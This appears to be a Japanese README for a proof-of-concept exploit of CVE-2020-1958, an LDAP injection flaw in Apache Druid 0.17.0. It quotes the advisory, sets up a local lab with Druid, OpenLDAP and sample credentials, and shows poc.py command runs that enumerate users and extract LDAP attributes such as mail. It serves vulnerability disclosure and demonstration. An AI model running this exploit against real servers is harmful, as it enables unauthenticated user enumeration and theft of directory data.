
CVE-2020-1958の概念実証エクスプロイト。Apache Druid 0.17.0におけるLDAPインジェクションの脆弱性であり、ユーザー列挙とLDAP属性の外部への持ち出しを可能にします。
CVE-2020-1958 は、Apache Druid 0.17.0 における深刻度の高い LDAP インジェクションの脆弱性です。攻撃者は LDAP 検索フィルターをバイパスし、LDAP サーバー上に存在するユーザーの任意の LDAP 属性値を取得できます。
Apache Druid の公式 アドバイザリ より:
LDAP 認証が有効な場合:
- 有効な LDAP 認証情報を持つ Druid API の呼び出し元は、
credentialsValidator.userSearchフィルターバリアをバイパスできます。このフィルターは、有効な LDAP ユーザーが Druid での認証を許可されるかどうかを判定します。ただし、設定されている場合はロールベースの認可チェックの対象となります。- Druid API の呼び出し元は、LDAP サーバー上に存在するユーザーの LDAP 属性値を(その情報が Druid サーバーから参照可能である限り)任意に取得できます。この情報漏洩には、呼び出し元自体が有効な LDAP ユーザーである必要はありません。
poc.py スクリプトは、認証されていない攻撃者が Druid と統合された LDAP サーバー上のユーザーを列挙し、任意のユーザーの任意の属性値を取得する方法を示します。
LDAP 認証が有効な Druid サーバーを既にお持ちの場合は、この手順をスキップしてください。
Druid 0.17.0 をダウンロードして展開します
$ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
$ tar -zxf apache-druid-0.17.0-bin.tar.gz
conf/druid/single-server/nano-quickstart/_common/common.runtime.properties で LDAP 認証を有効にして設定します
druid-basic-security 拡張機能を有効にする
druid.extensions.loadList を見つけて druid-basic-security を追加します:
druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
LDAP 認証を設定する
ファイルの末尾に以下を追加します:
druid.auth.authenticatorChain=["ldap"]
druid.auth.authenticator.ldap.type=basic
druid.auth.authenticator.ldap.initialAdminPassword=password
druid.auth.authenticator.ldap.initialInternalClientPassword=password
druid.auth.authenticator.ldap.credentialsValidator.type=ldap
druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
druid.escalator.type=basic
druid.escalator.internalClientUsername=user1
druid.escalator.internalClientPassword=user1
druid.escalator.authorizerName=MyAuthorizer
druid.auth.authorizers=["MyAuthorizer"]
druid.auth.authorizer.MyAuthorizer.type=basic
druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
OpenLDAP サーバーを実行します
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
users.ldif からユーザーを LDAP にインポートします
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Druid サーバーを実行します
$ bin/start-nano-quickstart
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1 ユーザーの LDAP 属性値の取得$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last